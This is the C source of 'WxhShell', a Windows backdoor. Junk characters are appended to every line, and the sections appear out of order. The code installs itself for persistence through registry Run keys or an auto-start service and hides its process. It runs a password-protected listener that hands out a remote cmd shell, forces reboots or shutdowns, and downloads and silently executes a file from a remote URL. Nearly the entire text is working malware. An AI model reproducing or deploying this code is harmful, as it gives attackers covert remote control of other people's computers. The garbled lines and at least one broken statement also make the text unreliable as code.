    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |tAkv  
    if(Boot(SHUTDOWN)) )p>Cf_[.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dU9;sx  
    else { _&]7  
    closesocket(wsh); 6 rnFXZ\  
    ExitThread(0); Md4Q.8  
    } ?EC\ .{  
    break; ;~0q23{+;U  
    } ^'=[+  
  // 获取shell ))AxU!*.  
  case 's': { l<1zLA~G  
    CmdShell(wsh); ]$drBk86bh  
    closesocket(wsh); z-MQGq xR  
    ExitThread(0); :6o%x0l  
    break; g?80>-!bF  
  } S*<Jy(:n  
  // 退出 ou-#+Sdd  
  case 'x': { ,marNG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :,l16{^  
    CloseIt(wsh); VEy]vr}  
    break; =6U5^+|d  
    } x1Gx9z9  
  // 离开 >c_fUX={  
  case 'q': { oJD]h/fQs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /W .s1N  
    closesocket(wsh); 9}QIqH\p  
    WSACleanup(); z6)N![ X  
    exit(1); curYD~7  
    break; x'0_lf</ #  
        } '!A}.wF0  
  } {F wvuk  
  } F^/KD<cgK  
!:xycLdfUp  
  // 提示信息 oh-EEo4,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s[8M$YBf  
} )y8Myb}  
  } gIrbOMQ7  
hV~M!vFxA  
  return; sg=G<50i  
} xxs +=.2  
%l8!p'a  
// shell模块句柄 LBq2({="  
int CmdShell(SOCKET sock) 8 SU0q9X.  
{ 0uD3a-J  
STARTUPINFO si; 'Y @yW3K  
ZeroMemory(&si,sizeof(si)); S(CkA\[rz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SZXSVz0j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3UXZ|!-  
PROCESS_INFORMATION ProcessInfo; g$NUu  
char cmdline[]="cmd"; x:0swZ5Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AM=> P 7  
  return 0; k6"(\d9o  
} Pm6U:RL  
R +@|#!  
// 自身启动模式 MhA4C 8  
int StartFromService(void) vLxaZWr  
{ M @KQOAzt  
typedef struct l@&-be  
{ \)5mO 8w  
  DWORD ExitStatus; YCE *Dm  
  DWORD PebBaseAddress; zgz!"knVx  
  DWORD AffinityMask; j_d}?jh  
  DWORD BasePriority; p>eYi \'  
  ULONG UniqueProcessId; R`]@.i4tt  
  ULONG InheritedFromUniqueProcessId; [_jw8`  
}   PROCESS_BASIC_INFORMATION; /fUdb=!Z  
3|!3R'g/ >  
PROCNTQSIP NtQueryInformationProcess; EC5 = 2w<  
XY{N"S8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e|:\Ps`8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]d[e  
Ce-= -  
  HANDLE             hProcess; }'tJc $!  
  PROCESS_BASIC_INFORMATION pbi; |J4sQ!%K  
g4k3~,=D3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y!45Kio  
  if(NULL == hInst ) return 0; Z$INmo6  
%\HE1d5;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /ojx$Um  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S`YT"|~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); . q -: 3b  
zWU]4;,"  
  if (!NtQueryInformationProcess) return 0; VoYL}67c  
9[JUJ,#X'0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;o'r@4^&$R  
  if(!hProcess) return 0; ML'y`S  
1#c Tk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ECi;o1hda  
,9d]-CuP;  
  CloseHandle(hProcess); IagM#}m@  
7omHorU+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xDU \mfeGj  
if(hProcess==NULL) return 0; 4v/MZ:%C`  
~}j+~  
HMODULE hMod; u; KM[FmK  
char procName[255]; NA2={RB;  
unsigned long cbNeeded; y akRKiz\  
E,tdn#_|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2DPv7\fW  
I;"pPJ3G  
  CloseHandle(hProcess); Q<u?BA/  
 s&pnB  
if(strstr(procName,"services")) return 1; // 以服务启动 ?2#'>B  
e`b#,=  
  return 0; // 注册表启动 `XH0S`B  
} ?ckV 2  
vVSDPlN;  
// 主模块 r@C~_LgL)  
int StartWxhshell(LPSTR lpCmdLine) ]i(/T$?~  
{ NW5OLa")J<  
  SOCKET wsl; L$3lsu!4n  
BOOL val=TRUE; d2Q*1Q@u  
  int port=0; FHU6o910  
  struct sockaddr_in door; 9h6Oq(0b8  
bKmwXDv'  
  if(wscfg.ws_autoins) Install(); V6P-?Nd  
;<Z6Y3>I8  
port=atoi(lpCmdLine); In_"iEo,  
BZ:tVfg.  
if(port<=0) port=wscfg.ws_port; z mip  
m=l'9j"D  
  WSADATA data; ,\v'%,:C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [s[ZOi!;I  
}ww/e\|Nt=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jG7PT66>;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uEJ8Lmi  
  door.sin_family = AF_INET; rWL;pM<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SC~k4&xy  
  door.sin_port = htons(port); 8lpAe0p(Z  
:K^J bQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FiiDmhu  
closesocket(wsl); 8-x-?7  
return 1; #{|cSaX<  
} Cty#|6 k  
` 'Qb?F6  
  if(listen(wsl,2) == INVALID_SOCKET) { K2 M=)B  
closesocket(wsl); =D$ED^W  
return 1; D BHy%i  
} PX|@D_%Y=  
  Wxhshell(wsl); @p*)^D6E\  
  WSACleanup(); u5A?; a  
;9k>; g3m  
return 0; +v;z^+  
;WSW&2  
} &t9 V  
Pt"H_SW~k  
// 以NT服务方式启动 'M>m$cCMZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aq$ hE-{28  
{ :/|"db&`  
DWORD   status = 0; RA[j=RxK  
  DWORD   specificError = 0xfffffff; 4`#Q  
uem-fTG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ).5 X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7tcadXk0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -Ty~lZ)TDT  
  serviceStatus.dwWin32ExitCode     = 0; !} TsFa  
  serviceStatus.dwServiceSpecificExitCode = 0; {3`385  
  serviceStatus.dwCheckPoint       = 0; 4=tR_s  
  serviceStatus.dwWaitHint       = 0; 'vBZh1`p  
$].htm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Os"('@jd>  
  if (hServiceStatusHandle==0) return; 2DCQ5XewYe  
PoF3fy%.  
status = GetLastError(); hU#e\L 7  
  if (status!=NO_ERROR) h`|04Q  
{ ]j*2PSJG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; } jj)  
    serviceStatus.dwCheckPoint       = 0; hX{,P:d=f  
    serviceStatus.dwWaitHint       = 0; w2nReB z  
    serviceStatus.dwWin32ExitCode     = status; {Uw 0zC  
    serviceStatus.dwServiceSpecificExitCode = specificError; =D/zC'l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O6;"cUv  
    return; tON>wmN  
  } pIlEoG=[_  
a<G&}|6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <:&vAX L  
  serviceStatus.dwCheckPoint       = 0; q ;'f3Y  
  serviceStatus.dwWaitHint       = 0; |GnTRahV.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uatUo  
} yU v YV-7  
C.jWT1  
// 处理NT服务事件,比如:启动、停止 &j 4pC$Dj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )Zr9 `3[  
{ =hKAwk/^  
switch(fdwControl) '{d@Gc6.  
{ B'}?cG]  
case SERVICE_CONTROL_STOP: p)IL(_X)  
  serviceStatus.dwWin32ExitCode = 0; +x"uP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FRd"F$U  
  serviceStatus.dwCheckPoint   = 0; n"EKVw7Y  
  serviceStatus.dwWaitHint     = 0; $"kPzo~B_  
  { lME>U_E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T0w_d_aS  
  } lxL5Rit@Px  
  return; x z _sejKB  
case SERVICE_CONTROL_PAUSE: eQbHf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >aVgI<  
  break; )Z/"P\qo  
case SERVICE_CONTROL_CONTINUE: $,4h\>1WP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WkTJ M  
  break; NHGTV$T`1  
case SERVICE_CONTROL_INTERROGATE: \]9)%3I  
  break; q\0/6tl_  
}; )dT@0Ys%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vx_33";S\  
} _M^.4H2  
CZ5\Et6r  
// 标准应用程序主函数 %T/@/,7h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K!-OUm5A  
{ ntW@Fm:bw>  
9|+6@6VY!  
// 获取操作系统版本 mOE *[S)  
OsIsNt=GetOsVer(); 3"y 6|e/5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .9jKD*U|  
z]G|)16  
  // 从命令行安装 s*izhjjX  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0* $w(*  
T D _@0Rd  
  // 下载执行文件  z:,PwLU  
if(wscfg.ws_downexe) { eM5?fE&!&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zzlf1#26\  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~ nsb  
} 4V,.Oi  
gF)9a_R%p  
if(!OsIsNt) { "%-Vrb=:Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 wX,V:QE  
HideProc(); <g[z jV9p  
StartWxhshell(lpCmdLine); {OU|'  
} {a7~P0$  
else x e`^)2z  
  if(StartFromService()) |mb2<!ag{  
  // 以服务方式启动 7j]v_2S`  
  StartServiceCtrlDispatcher(DispatchTable); ~e{ @5.g  
else L:G#>  
  // 普通方式启动 `%C-7D'?  
  StartWxhshell(lpCmdLine); Y %JQ  
V'vR(Wx  
return 0; "z~ba>,-\  
} ux;?WPyr  
[^5\Ww  
v 4ot08 C  
V0nQmsP1U  
=========================================== $T'!??|IF  
'0+*  
0t <nH%N}^  
$83B10OQ&L  
'/W$9jm  
g68p9#G  
" )[Y B&  
mayJwBfU  
#include <stdio.h> c3vb~l)  
#include <string.h> cw Obq\  
#include <windows.h> aB]0?C y9(  
#include <winsock2.h> 4DA34m(  
#include <winsvc.h> ~^m Uu`@r  
#include <urlmon.h> /(N/DMl[  
]{>AU^=U  
#pragma comment (lib, "Ws2_32.lib") 7{;it uqX  
#pragma comment (lib, "urlmon.lib") Zj`WRH4  
:D.0\.p  
#define MAX_USER   100 // 最大客户端连接数 z|l*5@p  
#define BUF_SOCK   200 // sock buffer ~ Z\:Nx  
#define KEY_BUFF   255 // 输入 buffer U ZM #O  
j|eA*UE  
#define REBOOT     0   // 重启 EYAaK^ &  
#define SHUTDOWN   1   // 关机 \(o"/*  
f-b],YE  
#define DEF_PORT   5000 // 监听端口 /R)wM#&  
>[}oH2oi  
#define REG_LEN     16   // 注册表键长度 hx;f/E Px  
#define SVC_LEN     80   // NT服务名长度 OrY[  
^Co-!jM  
// 从dll定义API {Mx(|)WkL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8K 3dwoT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M([#Py9h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Fv tL*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xs$$fPAQ  
n<I{x^!  
// wxhshell配置信息 rwm^{Qa  
struct WSCFG { _fGTTw(  
  int ws_port;         // 监听端口 cnv>&6a)  
  char ws_passstr[REG_LEN]; // 口令 ZO0 Ee1/  
  int ws_autoins;       // 安装标记, 1=yes 0=no :GHv3hn5  
  char ws_regname[REG_LEN]; // 注册表键名 \o9 \i kR  
  char ws_svcname[REG_LEN]; // 服务名 )9QtnM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "t@p9>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9Em#Ela  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *XVwTW[a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A4K.,bZ   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {$*N1$(%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ).k DY ?s  
xO~ ElzGm  
}; Cs'LrUB?=U  
7s9h:/Lu  
// default Wxhshell configuration (\V i _  
struct WSCFG wscfg={DEF_PORT, ]Bw0Qq F#  
    "xuhuanlingzhe", okNo- \Dh!  
    1, 0YeTS!*Aj  
    "Wxhshell", I[ \~ pi,  
    "Wxhshell", Szus*YL7  
            "WxhShell Service", =YO ]m<  
    "Wrsky Windows CmdShell Service", 8)i""OD@I  
    "Please Input Your Password: ", Y +gY"  
  1, 1H)mJVIKkB  
  "http://www.wrsky.com/wxhshell.exe", ~Bd=]a$mj  
  "Wxhshell.exe" $o^Z$VmL  
    }; ,Kit@`P%  
8`Ya7c>  
// 消息定义模块 eim+oms  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; my=f}%k=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RaZ>.5 D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 92+8zX  
char *msg_ws_ext="\n\rExit."; c\bL_  
char *msg_ws_end="\n\rQuit."; Ucj?$=  
char *msg_ws_boot="\n\rReboot..."; ZykMri3bi  
char *msg_ws_poff="\n\rShutdown..."; W :w~ M'o  
char *msg_ws_down="\n\rSave to "; s}D>.9  
{h<D/:^v  
char *msg_ws_err="\n\rErr!"; @ [$_cGR7  
char *msg_ws_ok="\n\rOK!"; y4V:)@ P  
s0kp(t!fiu  
char ExeFile[MAX_PATH]; S}m_XR]  
int nUser = 0; V7ph^^sC}  
HANDLE handles[MAX_USER]; 8~sP{V%  
int OsIsNt; ~6vz2DuB=  
_;<!8e$C  
SERVICE_STATUS       serviceStatus; *Ak.KBg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3>,}N9P-v  
!<bwg  
// 函数声明 !_S>ER  
int Install(void); hbjAxioA  
int Uninstall(void); l,ENMKA^D  
int DownloadFile(char *sURL, SOCKET wsh); sdu?#O+c1  
int Boot(int flag); 95DEuReKi  
void HideProc(void); Zed Fhm  
int GetOsVer(void); nK&]8"  
int Wxhshell(SOCKET wsl); ~j0rORy]  
void TalkWithClient(void *cs); 'J|2c;M\x  
int CmdShell(SOCKET sock); B.z$0=b  
int StartFromService(void); 8v:{BHX  
int StartWxhshell(LPSTR lpCmdLine); ?RRO  
8~=*\ @^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y(A' *G9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O&`.R|v  
@=J|%NO  
// 数据结构和表定义 ?J[3_!"t  
SERVICE_TABLE_ENTRY DispatchTable[] = "fFSZ@,r  
{ {(73*-~$  
{wscfg.ws_svcname, NTServiceMain}, }5o?7} ?  
{NULL, NULL} FLZ9pb[T  
}; }D/+YG  
0=d2_YzSf  
// 自我安装 "S#F I  
int Install(void) ^?z%f_ri  
{ 8hRcB[F~S  
  char svExeFile[MAX_PATH]; 1MelHW  
  HKEY key; v=`yfCX-qX  
  strcpy(svExeFile,ExeFile); x2"iZzQlD  
LQ0/oYmNc  
// 如果是win9x系统,修改注册表设为自启动 yNu_>!Cp5  
if(!OsIsNt) { {.Tx70kn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^l &lwSRVt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6( HF)z  
  RegCloseKey(key); [P$Xr6#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UA[`{rf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DM.lQ0xk  
  RegCloseKey(key); f^c+M~\JKj  
  return 0; 4=PjS<Lu8  
    } CB@7XUR  
  } :qYp%Ub  
} ~zp8%lEe  
else { "TRS(d|3  
E&[5b4D@<  
// 如果是NT以上系统,安装为系统服务 5>532X(0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j;x()iZ<  
if (schSCManager!=0) ez4!5&TzRm  
{ L"_X W no  
  SC_HANDLE schService = CreateService J0G@]H  
  ( ">uN={Iy  
  schSCManager, Aoa8Q E   
  wscfg.ws_svcname, H`EhsYYK  
  wscfg.ws_svcdisp, gY}In+S  
  SERVICE_ALL_ACCESS, gesbt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  :Mx  
  SERVICE_AUTO_START, _0/unJl`  
  SERVICE_ERROR_NORMAL, Dc9uq5l  
  svExeFile, k.@![w\ea  
  NULL, Z9{~t  
  NULL, Hq@+m!  
  NULL, !oLn=  
  NULL, sJHVnMA  
  NULL 4WT[(  
  );  ZR.k'  
  if (schService!=0) !\4x{Wa]  
  { "hkcN+=  
  CloseServiceHandle(schService); =C\Tl-$\f  
  CloseServiceHandle(schSCManager); \Lx=iKs<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CK* * RZ  
  strcat(svExeFile,wscfg.ws_svcname); fv+]iK<{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >7U/TVd&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1HJ: ?]  
  RegCloseKey(key); .35(MFvq!  
  return 0; d\z6Ob"t  
    } \i.]-k  
  } >CB-a :  
  CloseServiceHandle(schSCManager); obb%@S`  
} 'Waa zk[@O  
} K;K0D@>]HR  
6Yai?*.Q  
return 1; ;?h[WIy  
} LG}{ibB  
kR]P/4r  
// 自我卸载 *_V+K  
int Uninstall(void) rYUIFPN  
{ $H:!3 -/  
  HKEY key; S zo'[/ [R  
xATx2*@X2  
if(!OsIsNt) { ">V&{a-C4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (* -wiL  
  RegDeleteValue(key,wscfg.ws_regname); /ViY:-8s  
  RegCloseKey(key); J,W<ha*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 72HA.!ry  
  RegDeleteValue(key,wscfg.ws_regname); D%SOX N  
  RegCloseKey(key); XM'tIE+|  
  return 0; w[~G^x&  
  } m^X51,+<  
} )g5?5f;  
} ;0DoZ  
else { 9>RkFV  
$b8[/],  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); emSq{A  
if (schSCManager!=0) fk*(8@u>  
{ -L2.cN_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E'iE#He  
  if (schService!=0) $5nMD=   
  { _!xrBdaJ  
  if(DeleteService(schService)!=0) { IZVP-  
  CloseServiceHandle(schService); Z |$#  
  CloseServiceHandle(schSCManager); HoI6(t  
  return 0; *WE8J#]d  
  } Q%e<0t7  
  CloseServiceHandle(schService); ?m7:@GOE1  
  } l 9K`+c+t  
  CloseServiceHandle(schSCManager); ZL|aB886  
} wMS%/l0p1  
} ]n^iG7aB?  
xoZ m,Pxd  
return 1; ~nZcA^b#DQ  
} 5xH=w:  
"*vrrY  
// 从指定url下载文件 6w.E Sm  
int DownloadFile(char *sURL, SOCKET wsh) vCa8`m  
{ 3%v)!dTa<^  
  HRESULT hr; *l5?_tF  
char seps[]= "/"; #W\}v(Ke  
char *token; ;i@S}LwL  
char *file; 2D 4,#X  
char myURL[MAX_PATH]; I}f`iBG  
char myFILE[MAX_PATH]; @SfQbM##%  
IDct!53~  
strcpy(myURL,sURL); k 9i W1  
  token=strtok(myURL,seps); :EX>Y<`]  
  while(token!=NULL) :a wt7lqv  
  { 4v[y^P  
    file=token; _i_='dsyW/  
  token=strtok(NULL,seps); C qd\n#d/~  
  } 2 6#p,P  
y3~=8!Tj?Q  
GetCurrentDirectory(MAX_PATH,myFILE); b6k`R4S3  
strcat(myFILE, "\\"); o78u>Oy  
strcat(myFILE, file); sn"((BsO<  
  send(wsh,myFILE,strlen(myFILE),0); Ny^ 1#R  
send(wsh,"...",3,0); !73y(Y%TE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *g5bdQ:Av~  
  if(hr==S_OK) & ALnE:F  
return 0; N{J 1C6  
else MA .;=T  
return 1; la[ pA  
TY8gB!^  
}  _a09;C  
AVT % AS  
// 系统电源模块 ^'QO!{7f  
int Boot(int flag) U]hqRL  
{ [@@{z9c  
  HANDLE hToken; U4XW Kwq  
  TOKEN_PRIVILEGES tkp; EP:`l  
Po?MTA  
  if(OsIsNt) { N+&uR!:.C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n;Bb/Z!~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tN#C.M7.'7  
    tkp.PrivilegeCount = 1; C?qRZB+W#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xG!~TQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^ `LqNG  
if(flag==REBOOT) { P2n8HFi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cSL6V2F  
  return 0; *\ii +f-  
} I`_2Q:r  
else { (%_X{R'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f:Pl Mv!{  
  return 0; [,;Y5#Y[5  
} !*]i3 ,{7v  
  } 4DL;Y  
  else { }c G)$E  
if(flag==REBOOT) { Q/o,2R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |>Q>d8|k  
  return 0; ]zx%"SUM  
} h@RpS8!Bi  
else { Ysm RY=3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fcq8aW/z_  
  return 0; HK )m^!=  
} I\*6 >  
} %ap(=^|5  
Y0(4]X \ey  
return 1; 4t*%(  
} (xgw';g  
eT b!xb  
// win9x进程隐藏模块 Pmv@  
void HideProc(void) BX/3{5Y>{  
{ ,Zmjw@ w  
)N 3^r>(e<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TcZ.5Oe6h#  
  if ( hKernel != NULL ) >pu4G+M  
  { /3s&??{tv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T0 K!Msz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2^[dy>[y0  
    FreeLibrary(hKernel); tz ;3  
  } cWW?@ _  
8 a]'G)(ts  
return; sVx}(J  
} #mV2VIX#Jv  
fkI 5~Y|  
// 获取操作系统版本 \'~ E%=Q  
int GetOsVer(void) q7 PCMe  
{ ^N7H~CT"  
  OSVERSIONINFO winfo; Pd7\Q]of  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8"%Es  
  GetVersionEx(&winfo); o`f^m   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZLjAhd)  
  return 1; ?NwrdcQ  
  else 3\W/VBJJ  
  return 0; hs7!S+[.$$  
} N sdpE?V  
g8O6 b  
// 客户端句柄模块 W ^'|{9&m  
int Wxhshell(SOCKET wsl) eN])qw{  
{ G*IP?c>=  
  SOCKET wsh; exq5Zc%  
  struct sockaddr_in client; L-+g`  
  DWORD myID; 6R45+<.  
}AS?q?4?  
  while(nUser<MAX_USER) {+9RJmZg  
{ Y w0,K&  
  int nSize=sizeof(client); I )mB]j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .D@J\<,+l  
  if(wsh==INVALID_SOCKET) return 1; q-!H7o  
>'4A[$$4mM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ki><~!L  
if(handles[nUser]==0) r w!jmvHE&  
  closesocket(wsh); ZWkRoJXNi  
else ko9}?qs  
  nUser++; "{~5QO   
  } @1CXc"IgA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C*mVM!D);!  
*}\M!u{J  
  return 0; u"h/ERCa  
} }JFTe g  
t5{P'v9J  
// 关闭 socket Y,s EM%  
void CloseIt(SOCKET wsh) ?%5VaxWJ  
{ ,D{7=mDVm  
closesocket(wsh); X,Na4~JO(  
nUser--; {KgA V  
ExitThread(0); 2 GRI<M  
} Ay(p~U;gN*  
CM?:\$ 4  
// 客户端请求句柄 i}vJI}S.$  
void TalkWithClient(void *cs) f\_RW;y|m  
{ c|/HX%Y  
<UGaIb  
  SOCKET wsh=(SOCKET)cs; N|DfE{,  
  char pwd[SVC_LEN]; Gd!-fqNa'x  
  char cmd[KEY_BUFF]; ? Ek)" l  
char chr[1]; M!,H0( @G  
int i,j; D|q~n)TW5  
_)45G"M  
  while (nUser < MAX_USER) { O|H:  
&vrQ *jX  
if(wscfg.ws_passstr) { s70Z&3A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wsmgkg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D;+/ bll7  
  //ZeroMemory(pwd,KEY_BUFF); IQJ"B6U)  
      i=0; [NSslVr  
  while(i<SVC_LEN) { .?{no}u.  
f30J8n"k  
  // 设置超时 ~A>fB2.pM  
  fd_set FdRead; yz68g?"  
  struct timeval TimeOut; j4IVIj@$ `  
  FD_ZERO(&FdRead); =e6p v#  
  FD_SET(wsh,&FdRead); -$8ew+  
  TimeOut.tv_sec=8; vh\i ^  
  TimeOut.tv_usec=0; Ic(qA{SM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `O6#-<>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F;Q,cg M  
s!(R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L3{(B u  
  pwd=chr[0]; 2Wzx1_D "a  
  if(chr[0]==0xd || chr[0]==0xa) { HTh? &u\QG  
  pwd=0; >W>rhxU  
  break; YF{MXK}  
  } YNBM\Q  
  i++; XO]^+'U}p  
    } NQqw|3  
.RpJZ[E  
  // 如果是非法用户,关闭 socket 1h@qcom9K_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]ogifnwv  
} Q:q0C  +T  
TO Hz3=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %DSr@IX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hi,=" /9  
&>qUT]w  
while(1) { 7$<pdayd  
&m3-][ !n  
  ZeroMemory(cmd,KEY_BUFF); \=0;EI-j  
]1++$Ej  
      // 自动支持客户端 telnet标准   )|*Qs${tF  
  j=0; <)ZQRE@  
  while(j<KEY_BUFF) { |5vcT, A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <ww D*t  
  cmd[j]=chr[0]; :[<Y#EX.  
  if(chr[0]==0xa || chr[0]==0xd) { F?6kkLS/  
  cmd[j]=0; EA~xxKq  
  break; d[t0K]  
  } _s;y0$O  
  j++; Q# hRnM  
    } 6Rfv3  
!` 1h *}  
  // 下载文件 eV"%(<{  
  if(strstr(cmd,"http://")) { Ke4oLF2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xVPSL#>  
  if(DownloadFile(cmd,wsh)) a*(Zb|g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S #GxKMO%  
  else !l*A3qA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,g?ny<#o  
  } ~);4O8~.  
  else { })O S2F  
